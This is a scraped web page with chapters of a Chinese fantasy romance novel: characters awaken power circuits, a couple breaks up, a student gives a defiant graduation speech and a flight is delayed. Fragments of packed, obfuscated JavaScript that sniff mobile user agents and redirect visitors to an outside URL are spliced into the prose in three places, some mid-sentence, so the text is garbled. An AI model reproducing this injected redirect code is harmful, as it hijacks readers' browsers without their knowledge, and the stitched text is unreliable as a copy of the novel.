0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726843|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 当然陆清源是不会觉得唐突的。但凡他主动给出邀请、展露友善,还从来没有人第一反应不是感到高兴而是受到冒犯——表达自己的友善只有太迟、没有太早,在任何时候都不可能是唐突的——陆少尉对此很有自信。 不过这个时间黎晓当然不会在线——明天她就要开学了。 发现黎晓给他们的ID居然真的真实有效之后,安德烈彻底无法保持平常心了。 “她真的是个omega?”他终于问出来了。 陆清源下载好兽潮简报。关掉电脑,摘掉眼镜,用他那双深紫色的眼睛看着安德烈。那双眼睛在不甚明亮的夜灯中依旧沉静明澈,带着无可置疑的说服力。紫瞳的alpha目力远超常人,但当然也有可能出错。然而唯独在对omega的感知上,他是不可能出错的。 就算没有紫瞳,身为alpha他们也不可能把一个非omega错认做omega。 安德烈自己其实也隐约察觉到了——战斗之后,黎晓身上那种似有若无、令人愉悦的芳香,其实就是omega信息素的香味。 但黎晓太强了,强得超出常识,令他无法把她往omega上联想。 安德烈长出了一口气,“天啊……那她身上起码觉醒了二十条回路吧。” “十条左右吧。”陆清源说,“她的导力回路练度很高,恐怕在她很小的时候就觉醒了。而且近期内应该还会觉醒新的回路。” 安德烈憋了好久,“……她的父母真的没有虐待她?” “应该没有。”陆清源说,“你觉得她的性格像是被虐待过?” “当然不像啊,但是……”安德烈说不出自己是什么感受,转而问,“你还记得自己体内的回路是什么时候觉醒的吗?” “……不太记得了。”陆清源说。 “那你真幸运。”安德烈不悦的回忆着,“我是在七岁,记得很清楚。我家老头子把我丢进大树海里,周围起码有三个魔兽巢穴——我在里面没日没夜的打了三个月,就吊着一口气不死。到后来山穷水尽,从体力到意志都消耗光了,被魔兽嚼进口里时依旧想着我他妈的还没捅|死老头子,我不甘心……然后回路就觉醒了。”安德烈长舒了口气,平复情绪,“当然,我家老头是个神经病,我的例子比较极端。但是开回路的流程都差不多——被逼到绝路上,肉|体已到极限,意志濒临崩溃,痛苦到无以复加,但依旧挣扎着想要变强。” 陆清源点头——是。 “我还是alpha呢,”安德烈心有戚戚的说,“全回路为正,能一口气打通的那种。那些beta和omega还有负回路,一次可能就只打开几条。她一个omega,才读到高三就觉醒了十条回路。天啊,她到底过得是什么日子……” 陆清源便再次想起黎晓手持双刀在月光下飞起的模样。她纤细灵动的身姿穿行在林立的触须荆棘中,手中双刀映着月光反射出绚烂缭乱的光,宛若一只破茧的蝴蝶在刀光剑影中展开了翅膀。美得惊心动魄。 可他知道,那美丽的背后究竟隐藏着多么强烈的愿望和不屈的意志,又究竟是在经历了多少绝境和磨难之后,才终于打磨而成。 ……任何人都没有资格,擅自摧毁这种美丽。 他再度带上眼镜,开始翻看兽潮简报,“也没你想得那么黑暗……她只不过在精神上是个alpha吧。”他推了推眼镜,“在嘉洛林这应该也不算格外稀少的特例——成铭也只是个beta而已。” “……哎?”安德烈感到自己引以为豪的直觉正片片龟裂,“——哎哎哎哎???!” 13. 天授之人(八) 八 夜已经很深了。 从唐历春节开始,持续了半个月的节庆终于结束。那总稀稀落落的响在远方的鞭炮声终于彻底沉寂,在几乎所有人都入睡之后,嘉洛林区迎来了久违了的寂静的深夜。 成铭从浴室里出来,还在成长中的少年身形虽依旧纤瘦青涩,但常年保持着充足锻炼的肌肉,已初步显出优美精悍的线条。毫无赘肉的纤细紧实的腰肢如猎豹一般,令少年尚未足够壮硕的肩背也显得宽且有力。 他扭头瞄了一眼这一天的锻炼计划,然后扔开半干不湿的毛巾,随手拾起件宽大松散的旧T恤兜头套下,把值得夸耀的身材遮在的毫无款式可言的旧棉麻衫下。 ——锻炼计划当然早已完美的达成了。 事实上再加上这一晚意外遇到的兽潮,他今天的锻炼负担甚至已超出了教练所能容忍的上限。 可是成铭知道……它距离他所需要的,还远远不够。 他盘腿坐在床上,打开手持电脑翻阅着邮箱里的兽潮简报。 军网内部的简报和提供给公众发布的新闻简报有着微妙的区别,里面每个人的名字和对应的功劳都划分得清清楚楚,他和黎晓都得到了不低的评分——那魔兽身上的凝胶能阻断电力,若不是他们协力刺穿了它的眼珠,留下一柄双头矛做引雷针,那雷击也无法那么轻易杀死它。 但成铭根本就没看一眼分数,直接滑动屏幕寻找自己想要的数据。他终于在末尾的附表里找到了它——那是那魔兽的各项能力的分析数据,和杀死它的雷击、以及收束那雷击的防护壁的判定数据。 魔兽的数据他很轻易就看懂了。而雷击和防护壁的数据虽然写得和前者一样清楚明白,但成铭看了好一会儿才忽然意识到——看懂了又有个毛用啊?!他根本就没练习过导力转换,压根就不清楚要怎么操作、要消耗多少导力才能引起这么强的雷击。 他扔掉电脑,倒向床铺,大字铺开自己的身体。 满月已升上中天,月光透过高处的窗子,照在他脸上,亮得有些晃眼。 和黎晓不同,成铭在很久之前便知道——他和黎晓都很优秀。不止在达瓦、在嘉洛林,就算将范围扩展到全帝国,他们也是同龄人中的佼佼者。 当然,像他们一样优秀、甚至远比他们更出色的同龄人,也有很多。毕竟各地的教育水准参差不一。但成铭自始至终都有这样的自信——只要站到同一个平台上,他就绝对不会是输掉的那一个。 …… 然后,他就毫无准备的彻底输掉了。 ——导力转换。 这是他们下学期开学后,才会初步接触到皮毛的东西。 这也是国立大学和第二军事学院的学生,在一年级下学期才会正式学习和掌握的能力。 据说太难了,很少有高中老师能教好。所以每年春天,他们学校都会特地从洛珈大学聘请教授,给高三学生进行拓展授课——这也是晨星作为名门高中才有的特权。达瓦城其他高中就算有拓展授课,也都是收费选修的。 成铭的家境其实很不错,他的行动力也很强,如果他意识到他应该提前学习这部分内容,他会去的。 但是成铭没有意识到。 在嘉洛林,很少有人在十四岁之前就觉醒了导力回路。 学校在初中二年级才会开设选修课程,指导学生如何诱导导力回路觉醒,如何应对觉醒后身体的种种变化。大部分人都会选修,但只有很少人能够修完——据说是因为那课程太变态了,直奔着让学生过劳死的程度去。 直到高一开设必修的军事训练课,大部分人才第一次经历导力觉醒。 成铭很幸运也或者说很不幸的,成长在类似贫民窟的移民社区里,从小就日复一日的被迫跟体质远超自己的孩子打架——甚至被围殴。在一次次主动或被迫的突破极限之后,他的导力回路远远早于同龄人,提前觉醒了。 他的周围也许有人意识到了这件事——武馆的教练给他定制的课程和锻炼任务跟旁人截然不同,甚至教了他“冥想”和“调息”这种跟散打完全不沾边的东西——但大部分人,包括他自己和他的父母,都丝毫没有意识到。 直到十四岁那年,他和黎晓被周边学校的不良少年组团埋伏,混战中他的导力回路第二次觉醒。父母带他去体检,他才知道,他体内早有觉醒过的回路,并且已平稳渡过了适应期。 那时成铭才意识到,学校里的课程安排和父母的常识经验,已经远远落后于他的成长了。 他从小就不是一个旁人不推他就不会走的孩子。 他开始主动查找资料,到网络论坛提问,甚至付费咨询,黑进各个大学的官网,试图黑进军方内网……寻找一切可供参考的经验。 他自己吸纳了很多知识,也得到了许多人的帮助。 他一直都在有意识的锻炼自己的导力能力。他在这方面的成长,早远远超过了嘉洛林区同龄人的普遍水准。 ——但在陆清源和安德烈的面前,依旧粗糙简陋得宛若从未打磨过。 不论原委如何,他在阅历和见识上,都已远远落后于帝都来的这两个同龄人了。 成铭感到不甘心,但不甘心的背后,却是令人指尖都要骚动起来的兴奋感——从进入晨星高中,意识到就算在这所全区最好的高中里,也没有比他更强的同龄人之后,他就一直提不起干劲儿。可现在他终于再一次遇到了能挑动他斗志的对手了。 这真是太好了,成铭想。能在进入二军大之前就遇到他们,真是太好了。 导力转换吗?他想,理论上知识他早已学习过了,但实际操作起来是什么样的? ——反正肯定不会像传言中那么难。 陆清源也是高中生,既然陆清源做到了,那就肯定不会超出高中生的能力范围。他也一定能做到。 冥想。 同调。 空气中粒子剧烈震动碰撞着。 细碎的摩擦声宛若远方有千鸟齐鸣。 几不可查的电火花不时噼啪爆裂在他的皮肤上。 还不够,他想——要把环绕在周身的电送出去。 水起。 风来。 电荷附着在了水汽上。 冷热的温差令空气向指定的方位流动。 电荷聚集起来。 他睁开眼睛,伸出右手的食指,对着玻璃窗上明净的满月,轻轻的说,“啪。” 闪电如激飞的紫色长鞭,洞穿了空气,从他的指尖沿着窗帘上的银绣一路带着火花冒着白烟激飞上行,最终汇聚到扣窗的铁片上,粗壮的轰了下去。 “轰——砰!”一声爆响。 整个窗子的玻璃全裂成了蛛网。 楼下传来他父亲梦中惊醒的声音,“出什么事了?成铭!” “没……什么事也没有。” 成铭手忙脚乱的从床上滚下来,飞快的将着了火正在冒烟的窗帘扯落在地,踩了两脚后忽然想起自己还有导力,忙双手一压把窗帘冻成了冰坨。 ……火终于灭了。 他长舒了口气。 然后便看到玻璃窗的那一侧,黎晓穿着睡衣站在对面的阳台上。正诧异的看向他。 月光透过毫无遮拦的玻璃窗子落入室内,他的举止整个儿暴露在她的视线之下。 成铭用手背擦了一把脸颊。 短暂的对峙之后,他起身推开阳台的门,走了出去。 现在,他们光明正大的面对面了。 成铭已不记得,上一次他们隔着阳台说话是什么时候。 只记得初中二年级,人称躁动期的年纪里,他还经常翻过阳台跳到她家的阳台上,敲开她卧室门,跟她一起下楼,去武馆上散打课。后来不知为什么便慢慢不再这么做了——大概因为那次她穿着睡衣揉着眼睛,睡意朦胧的跪坐着床上,拉开窗子抱怨“你知不知道现在才几点啊”时,他莫名的脸上发烫,从此便无法坦然走进她的卧室了吧。 再后来他们互相表白,交往,而后分手——他卧室里的窗帘便再没有拉开过。 不知不觉就已过了这么久。 ——原来她睡不着的时候,依旧喜欢到阳台上吹着风胡思乱想吗? “……睡不着?”他问。 “嗯……”她垂着眸子,声音低柔如春水,“在练导力转换吗?” “嗯。” “成功了?” “当然。”他不无得意的回答。随即便想到,她恐怕也在做同样的事,所以才会熬到这么晚——她必定也成功了,“你呢?” 她伸出右手来,拇指和食指缓缓分开。细小的紫色闪电跃动着,温顺的在她指间伸长。 她的悟性一向都很好——总是如水流般顺势而成,也总是如水流般不燥不惊。 “就只能做到这种程度。”她说。 她唯一的缺点就是心思太细腻了,总是会为很多在他看来完全无关紧要的事而胡思乱想。总觉得他一不留神,她便会自己把自己困死在牛角尖里。当然……实际上就算他不管她,她也能带着这些心事,顽强的成长下去。最多稍微辛苦一些。 “不是已经很好了吗?”他说。 她笑着摇了摇头。说,“你自己试一试就知道了。” 成铭不想试——他已经决定要远离她。再继续和她相处下去,心又要乱了。 但不知为何,他还是伸出手去,用她的方法尝试给她看。 发白的紫电笔直、粗硕的贯穿了空气,发出耀眼的明光。 他几乎立刻便明白了她所自卑着的事。 “军事考核我只得了第四名。”黎晓说,“——导力回路太少了,几乎没有溢出值,判定为最低等级。所谓的天赋真是霸道啊,不管怎么努力怎么渴望,生来没有便永远都不会有。真是不甘心啊……” 她竭力克制着,可还是立刻就红了眼圈。 他们相识的十几年时光里,他不是第一次 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“那当初为什么还要提分手?”他直视着她的眼睛,问。但在她开口作答之前,他阻止了,“不用回答,我都明白……你没有做错。那个时候我已经快疯了,再继续下去,迟早会把自己逼上绝路。” 那时他每晚都会做噩梦,并不是梦到她背叛他,而是梦到自己将她锁紧笼子里像魔鬼一样寸步不离的守着她,不容许她离开一步,也不容许任何人靠近她。他一天比一天更清楚的意识到,那是他的真心。所以当黎晓提出分手时,他痛苦到了极点——你看她果然抛弃了他——可在痛苦到极点的同时,他依旧为自己还没有伤害到她而感到高兴。他选择了放手,因为,“……你做的很对。” 时隔这么久之后,他终于能平静的提起当时的感受,“我曾经也认为,分开一段时间,能让我更成熟理智的去面对我们之间的问题,可是……我错了。”他翻阅了一切可翻阅的资料,寻求了一切可寻求的帮助,却只得到了更为翔实可信的绝望。 而他调整自己的心态,也只是令自己认清了这样一个事实——他也不可能作为朋友无欲无求同她相处,哪怕只是想象她和旁人终成眷属,他也嫉恨得想杀人。他们唯一的出路,就只有相忘于江湖。 所以他逃避她、驱离她。可是直到今天她拦住他,说——反正不论如何我都一定会去,你为什么非要说伤害我的话——他才猛的意识到,他做的一切除了伤害她外,根本没有任何用处。 ……她从来都不是一个能用谎言说服的女孩。 “至少到现在为止,我和过去相比没有任何不同。你当初和我分手的理由,现在也依旧适用……所以,”他凝视着她的眼睛,终于说出了他想了很久但始终无法说出口的话,“别再说什么‘喜欢我’了,这种话除了让我难受,根本就毫无意义——还是离我远一些,忘了我,也让我忘了你吧。” 她握紧了胸口的东西,很长时间没有说一句话。眼睛里只有一片近乎于自我催眠的平静水光。 她那么爱哭的人,居然一滴眼泪也没流出来。 ——这还是她头一次这么成功的在他面前掩饰住内心的感受。 “……那就没办法了。”后来她终于开口,“我报考了二军大,二军大你是知道的,提前录取,默认专业服从调剂。” 她果然知道——成铭想,明明知道一旦报考就不能反悔,却还是要报考。她倔强起来真是谁都拉不回来。 “别去应考。”他说,“直接落选,去考国立大。” “可是凭什么?我明明更想读二军大。”她眼睛里泛着水光,微笑着,“想离我远一些,你自己去考国立大啊。”但她很快垂眸道歉,“我开玩笑的……我明白你的意思了。放心吧,我报考的是应用导力专业,你肯定会读战术指挥一类专业吧。” 他说是。她便说,“我们都不读一个专业,就算同校,也没什么机会碰面吧。” 成铭说不出更多的理由了——难道要他说,二军大里都是他讨厌的alpha。就算说着要忘了她,他也依旧会因为她进入遍布适合她的alpha的环境,而感到烦乱和嫉妒吗?那纯然是他自己的问题,没道理让她来迁就。 如果她是真的想读二军大,而不是出于想跟他读同一所学校这么不负责任的理由,那他从一开始就不该阻拦她——她原本就是个容易胡思乱,明明那么顽固的努力着不肯放弃,却依旧莫名其妙的对自己没信心的傻姑娘。 他便说,“嗯……去睡吧,已经这么晚了。明天还得开始备考。” 她便向他道别回屋。可在进屋前她停住脚步,回过头来,问道,“成铭,如果有一天你发现自己根本忘不了,你还会回头来找我吗?” 她的目光在月色下清澈得就像一汪水。 但在成铭作答之前,她便微笑着说,“不必告诉我——这也不是一定得立刻知道答案的事。” 14. 云之巅,森之海(一) 〇 晨星高中报告厅,新生入学典礼暨应届生毕业典礼。 代表毕业生致辞并不是一件令人愉悦的事,聚光灯的灯光太强了,向下看去基本只能看到大片耀眼的光斑和被光斑冲淡的人影。想要分辨台下人的表情是一件很困难的事,但站在这个位置的人天生知道——所有人都在看着他,等他说话。 这种独自一个人站在对面,被无数人看不清模样、表情的人注视着的感受,黎晓其实已经很习惯了——虽然在高一之前她一直都是成铭的第二名,但成铭从小就是个不能被树立为榜样的问题学生,有多优秀就有多不服从管教,从来都没有身为同龄人表率该有的责任感。代替他承担“学生代表”这一职责的,就只能是责任心强烈的黎晓了。 她确实“应该”已经习惯了才对。 …… 台下传来轻微的骚动。 班主任大概意识到她可能紧张到临场忘词了,悄悄提醒她看提词板。 黎晓深吸了口气,竭力磨平内心的恐惧。这是一场突发的意外——聚光灯下被关注的感觉唤醒了高二那次事件的记忆,她感到浑身冰冷、呼吸困难。这种情况下让她按部就班的背诵发言稿,她做不到。 但她已经不再是两年之前的她了。 她微笑道指了指提词板,开始说话,“不知是不是所有毕业发言都会用‘金秋送爽’开头,反正小学、初中的发言稿我都是这么写的。曲老师肯定没想到,我交给她的发言稿小学时就已经用过了。”她整理了一下思路,看着台下明显懵掉的人群,笑道,“开玩笑的!高中的稿子当然比小学的好多了,六年学可不是白上的。” “不过今天我想说点不一样的,说点只有我能说的……”她平复呼吸,一边暖场,一边调出自己需要的材料,开始编写程序,“我突然冒出这种想法,还要感谢我的班主任曲老师,在我最艰难的时刻她给了我无私的鼓励和帮助。她是最棒的!——她的鼓励就是我此刻的灵感来源。而上台之前她安慰我,‘别紧张,反正你马上就要滚蛋了。就算发挥失常出了丑,也没人能追到帝都去笑话你。’则给了我莫大的勇气。对不起,曲老师,说完就滚不用挨骂太爽了,这次我要玩点大的~” 她面朝台下微笑着,按下了“运行”按钮。 聚光灯“砰”的全灭了——黎晓劫持了报告厅的中央控制系统,把灯光关掉了。 底下人交头接耳起来,导力老师连忙着起身去检查控制系统。 而报告厅的巨型投影屏幕在此刻放下,雪白的屏幕上,正黑色的大字带着充满冲击力的背景音效一个个砸下。 那字幕的动效和音效立刻再度吸引了众人的注意力。 那只是一份很简单的成绩报告——十项科目全A,综合评价S,区内排名第一——但如陨石般依次投下,给关键内容加以熔岩燃烧的效果,宛如在看一场特效惊人的战争片,令人中二魂燃,热血沸腾。 字幕很快烧却,随即是稍嫌沉寂的第二份报告单——体力C,力量C,体质D,导力回路D……一连串连平均值都达不到的数据。 但短暂的压抑之后,音效再度激扬,随之而来的字幕是——导力操作A,战斗资质A,综合战力评价A,区内排名第四。授予预备役军官资格证,允许报考一级军事院校。 而后音效突停,如战舰般砸落在屏幕上的,是一张毫无修饰的录取通知书——那题头上“第二军事学院”的名号本身,已然是最震撼人心的特效。 ……她把毕业发言,变成了一场炫耀大会。 报告厅里万籁俱寂,或许有人被震慑住了,但必定也有不少人不以为然。 ——晨星高中每年都有不止一个学生考进第二军事学院,何况在主流榜单上,国立大学才是全帝国最好的大学。这一番炫耀太小人得志了。 但当黎晓翻过录取通知书,露出底下的体检报告单上的一角之后,每一个之前不熟悉内情的人,便都哑口无言了。 ——那一角上写着,“第二性别:omega。” 弹幕便停在了这一页。 黎晓便站在这一页前,继续她的演讲,“我是一个omega。而我打败了同年级几乎所有alpha和beta,成为我们这一届的首席。为免师弟师妹们误会,提前告诉大家——我们这一届是晨星建校以来评价最高的一届,考上国立大学和第二军事学院的人数是过去两年的总和。”她抿唇一笑,“我猜大家都拼命努力了,毕竟输给别人多少还能找到些体面理由,输给我?……希望他们的家长没太念叨他们。” “我说这些,是想告诉即将迎来体检和已经拿到体检报告的师弟师妹们——别紧张,也别得意、别沮丧,性别没你们想象得那么重要。至少在我们共同就读过的母校,在这所晨星高中,性别完全不重要。在这里,你有无限的可能性——这可能性既包括打败同年级所有alpha,也包括输给同年级的beta、omega,只看你是否有足够的野心,是否付出足够的努力。我已经证明了——至于你们能不能继续证明,或者反证之,就看你们自己的了。” “最后,感谢我的父母,在我哭着回家问我为什么这么弱时,他们没有抱着我哭,而是把我送进了武馆。感谢我的朋友成铭,在我为自己可能是个……omega而恐惧时,他反问我‘你今天才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晨星高中的开学典礼,就在第二军事学院入学报到日的前一天。所以参加完毕业典礼之后,他们便得立刻去赶飞机,离开嘉洛林前往帝都。 这是她出生之后,头一次离开家人、离开自己熟悉的环境,前往全然陌生的新世界生活。那个世界里遍布着陆清源和安德烈这样陌生又强大的同龄人,她不知道自己会交到怎样的朋友,开始怎样的生活。 她感到轻微的茫然和不安,可是想到成铭跟她是一样的,便又觉着,这其实也没什么大不了的。 ……反正她刚才已经当众夸下海口,就算想要认怂也已经晚了。 所以,尽管像过去每一次一样,一往无前的冲吧。 15. 云之巅,森之海(二) 一 安茹省卢瓦市,白诗南机场。 林芝扳着肩膀,活动了一下僵硬的脖颈。 在安茹省上空突如其来暴发的虹潮,导致大量飞机紧急备降在白诗南机场,这一夜整个管制室都忙坏了。林芝已经连续工作超过10个小时——负责这个时段的小姑娘还是个新人,不管从经验还是从心理素质上,都不足以应对如此复杂的空情,她只能临时顶替上阵。 所幸最繁忙、最混乱的时段已经过去了。各地机场都已接收到了安茹省的警情,配合调整了飞行计划。只需要处理完马上就要进入管制空域的这架飞机,她就可以休息了——至于后续的麻烦,就交给地勤和下一班人去头痛吧。 林芝靠在椅背上,喝了口咖啡,一边享受这短暂的空闲,一边让雷达把最后一架飞机的位置传送过来。 ——那是一架从达瓦直飞帝都亚丁的常规客机。 太幸运了,林芝想,看来最后一项工作很容易完成。 ——跟其他那些遇到女空管就忍不住放飞自我的混蛋机长不同,达瓦航空的机长一向都以人狠话少著称。白诗南机场的资深空管群里有个盛传已久的段子,说如果不算复述确认,达瓦的机长只和地面管制说过三句话,“申请滑出/降落”“了解”“成功起飞/降落。”新人空管群里也有个代代相传的段子,说极端情况下如果不知该怎么引导,而刚好遇到的是达瓦航空,那么就问他能不能目视飞行吧,他肯定能——否则你遇到的就是假的达瓦航空。 作为全帝国最繁忙空域的管制员,林芝的脾气是很糟糕的——让她烦心的东西实在太多了,恶劣的天气、随时插队的要客、空中的飞机、跑道上的拖车……还有胡乱调度时不时给她增加工作难度的同事。这导致她能分给其他东西的耐心相当有限。而她服务的那些机长们,还一个个都认为自己比她更懂调度。 这种环境下,达瓦航空简直就是天使。 如果全空域飞的都是这种天使该多好,林芝默默的幻想。 这时她忽然收到了优先级提醒。 林芝忙放下杯子,专心确认——A级?她愣了一下,再度细看——确实是这班飞机,确实是A级优先。 这种天气下,跑来插队?! 不,稍等——飞往帝都的A级优先航班? 难道嘉洛林自治区主席要去觐见皇帝陛下?林芝想——不不不,这一级别的政要出行有安保要求,区政府不可能允许他搭乘这种连独立的头等舱都没有的低端飞行器……应该是碰巧搭载了某位正在执行紧急任务的地下特派员吧。 真是烦恼啊,还以为能稍微偷个懒呢。 她在白诗南机场当了七年管制员,A级航班遇到过不少,但飞往帝都的A级航班还是头一次遇到——进出帝都的大人物和紧急军情太多了,没有足够的分量,谁敢向这特权之地标榜特权? 这让林芝在感到麻烦的同时,又有些小小的激动。 她叹了口气,再度活动了一下脖子,便立刻开始确认泊位,为这架飞机调度出最方便畅通的降落路线。 黎晓拉了拉身上的毛毯,靠在座位上打了个哈欠。 ——已经午夜十一点半了。 按照本来的计划,这个时候她应该已经到亚丁了。爸爸的朋友会来接她和成铭,借住一晚后,他们可以搭乘公交或者地铁前往第二军事学院报到。因为时间很充裕,他们还可以先熟悉一下学校周边的环境。 ……如果一切顺利的话。 但如果在此之前她搭乘过飞机,她就不会这么天真的、充满美好向往的安排自己的出行计划,因为航班时刻表上印的东西就是一坨狗屎,世界上根本就没有——没有一架航班会准点起飞和降落! 他们在下午三点到达机场,延误两个小时后于晚上七点钟登机。 飞机即将进入滑行跑道时,被调度室紧急叫停。而后便绕着跑道转转停停一个多小时,直到八点半,才终于起飞 然后在午夜十一点半,机组播报——因为天气原因,飞机将于午夜十二点在白诗南机场临时备降,具体起飞时间另行通知。 黎晓:…… 作为一个善于为他人着想的优等生,黎晓对一切延误和备降表示理解。但不知为什么,她就是觉得火大。 黎晓透过舷窗望向夜晚的大地。 她想,他们应该已经进入安茹省的空域了吧。听说安茹省濒临大海,如果在白天的话,不知从这里能不能直接望见大海。 这时她愣了一愣——她看到了大海。 ——被如轻纱一般飘摇在空中的虹光照亮的大海。 那虹光微弱如萤火,然而千亿萤火在海之上汇聚成蜿蜒、缓慢流淌着的光之河流,照亮了深沉无光的暗夜。有透明得仿佛一触即散的浮游生物漂浮在那光河之上——宛若大海之上还有一个由光汇聚成的,透明的、碰触不到的大海。 居然是虹潮。 黎晓兴奋的靠近舷窗,招手示意身旁的人,“成铭,快看,是虹潮。” “嗯……是虹潮啊。”身旁的声音传来,她才回过神,她旁边坐的不是成铭——上飞机后有一家三口希望挑换座位,她答应了,但跟他们换座的两个人座位不但没挨在一起,还分开了好远。这也是这一晚她心情不好的主要原因。 黎晓尴尬的对身旁人笑了笑,再度看向舷窗外。 这是她出生以来头一次见到真正虹潮。 虹潮究竟是什么,至今没有人说得清。但大部分人都认为,虹潮是空气中的导力附着在水蒸气上,蒸发到空中形成的。所以越是导力充沛的丰饶大地,上空出现虹潮的几率便越大。在极北之地的大树海,只要是清朗无雨的日子,空中常年都有虹潮。 虹潮中的有肉眼不可见的微生物群,它们汇聚在一起,便会模拟附近生物的模样——在大海之上,它们会变成水母、海草和鱼群。而在大树海之上——尽管人们依旧不知道大树海深处究竟还存在哪些魔兽,但确实在虹潮中见过遨游的龙、凤和大鹏。 黎晓小的时候背诵古文,有“野马也,尘埃也,生物之以息相吹也”,她问成铭这是什么意思啊,那时成铭正在看虹潮的纪录片,便指着电视上在空中变幻无形的虹光,说“就是这个意思”。 再细致的语言描摹也无法胜过最直白的视觉效果——也或许是因为虹潮本身太美丽了,从那之后黎晓便认定,“生物之以息相吹”便是虹光在空中变幻的模样。虹潮便是大地和生灵的吐息,是大鹏翼下的垂天之云、长风万里。 不过这也只是小孩子一厢情愿的美好幻想罢了。 ——真实的虹潮,是人类活动的禁区。虹潮中凶暴的导力乱流会击穿人体和导力礼装上的所有回路,损毁飞行器上所有机械仪表。航行中遇到虹潮,其实并不是什么美好的意外。 但是……真美啊,黎晓想,不知成铭有没有看到。 飞机开始下降。 虹光渐渐升到她必须仰头才能望见的高度,帝国最繁华的都市卢瓦的夜景缓缓的展现在她的脚下。 等到黎晓确切意识到,就是卢瓦时,她的整个视野都被大地上纵横交错的金色流光占据了。那流光曲折的贯通黑色的大地,延伸向没有尽头的天际,在远方汇聚成一片耀眼的光——就像所有黄金和珠宝堆叠在一起时发出的那种粗暴但璀璨夺目、令人着迷的光。 才华、机遇、金钱、迷梦,还有浮华、虚荣、攀比、幻灭……这座城市跟太多词汇挂钩了,但实际上从高空中看到它,黎晓就只有一个感受——金光闪闪的庞大都市。 达瓦真是个寒酸的小地方啊……乡下人.黎晓忍不住感慨。 他们很快便在白诗南机场降落了。 飞机舱门连接了登机通道,允许乘客暂时离开机舱,估计短时间内不会再次起飞。 黎晓枯坐在座位上,想了很久,最终还是没有去找成铭。 ——以后大概也不会了吧。 她已经答应他了。 登上飞机后那短暂的比邻而坐,便是他们最后一次靠的这么近的机会,可是她居然蠢到答应和人换座。 明明就在同一架飞机上,满脑子都是他却不能去找他,这感觉真是不好受啊。 但这大概就是人生的必经之路吧,黎晓想,她必须学会独自面对和成长——就算那晚成铭没有说那些话,她也不可能再像之前那样,每时每刻都要看着成铭、知道成铭就在她身旁才能心无旁骛。因为那一晚她遇到了远超她认识的同龄人,意识到更广阔的世界的存在。她看到了自己的孤陋寡闻,失去了“成铭的对手”的身份,同时也意识到——如果她继续把自己的人生绑在成铭身上,那她永远也无法真正和他比肩,成为不逊色于他的强者。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726846|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她需要孤身出走,去寻找她自己的路。 也许她能找到并成长,也许她会暴尸荒野……但黎晓知道,这是唯一正确的选择。 她便翻出随身电脑,连接内网,开始查看消息。 二军大校学生会置顶了最新通知—— “因安茹省虹潮导致航班延误,部分同学可能无法按时来校报到。现就报到时间和地点做出调整如下:报到时间和地点不做改变。原定报到时间截止后,校务将在第二体育馆开辟临时报到处,截止时间另行通知。又及——” “滞留在安茹省的同学,如见此通知,请同本院系学生会联系。” 时间是一个半小时前——几乎就在安茹省发出虹潮警报的同时,夜里十点半。 ……二军大学生会的效率真是名不虚传。 黎晓打开导力系学生会的公众号,把自己的名字、报到号、所乘航班,“到达时间未定”和“同航班另有凌河(导力系),成铭(战术指挥系),江海洋(机械动力系)”发送过去。 ——学生会要求他们主动联系的目的,应该就是为了统计滞留学生,以方便应对。 对面迅速回复,“收到。” ——午夜十二点居然还有人值守,大学的学生会和高中的果然完全不是一回事。 黎晓便问,“需要统计同航班其他人吗?” 对面回了个笑脸,“不用,你们四个是最后一批。明天落地后记得开内网,会有新通知。另外,我一直在线——遇到其他事也可以联系我,随时。” 黎晓稍停顿了片刻——最后这句话不知为什么,令人感到很在意。尤其是在今晚。 “……了解。”她回复。 关掉公众号后,她立刻开始在内网搜索她乘坐的航班——飞机起飞前被紧急叫停,随后又绕行了大半个机场回到维修口,那时黎晓就知道,肯定是有什么重要的人或者东西要登机。鉴于唯一的机舱门没有再打开过,所以黎晓推测,让他们多等了一个半小时的,应该是一件东西。 这件东西肯定很重要,但如果它太重要了,也不会委托民用航空运送。 所以黎晓并没有把这件事放在心上。 可是……除了这件东西外,跟她有所关联的其他人和事,似乎都不足以给她带来需要随时求助的麻烦。 ——内网上没有任何关于这次航班的特别消息。 ……应该是她多心了吧,黎晓想,那句话也许只是为了表示友善和安抚吧,没什么值得特别在意的。 她太困了。打了个哈欠,便阖上电脑,抱着毯子靠在机舱上稍稍打个盹儿。 迷迷糊糊被吵醒时,天色依旧沉黑。黎晓看了看时间——午夜三点钟。 广播正柔缓的说着些什么,似乎是通知机上乘客通道即将关闭,请不要离开飞机。 黎晓抬头望了一眼天空——虹潮的痕迹几乎已寻不到了。 看来天亮之前飞机就能起飞了。 她便打开电脑,抽空查看一下最新消息。 ——她错过了一个对话框。 看时间,刚巧是她和学生会说完话,阖上电脑的空档。 而发来对话请求的人,居然是陆清源。 交换通讯地址之后,他们只联系过一次,说了没超过三句话——是典型的“通讯录好友”。 黎晓想不太出陆清源会有什么事找她。 ——也许他看到了安茹省的虹潮警情,想问一下她的航班是不是受影响了吧,黎晓心想。 要和他聊天,果然还是会稍稍有些不自在啊。 她打开对话框。 没有询问,没有寒暄,陆少尉的话一如他给人的印象,简洁明了,直奔主题。 “有异常随时联系我。” 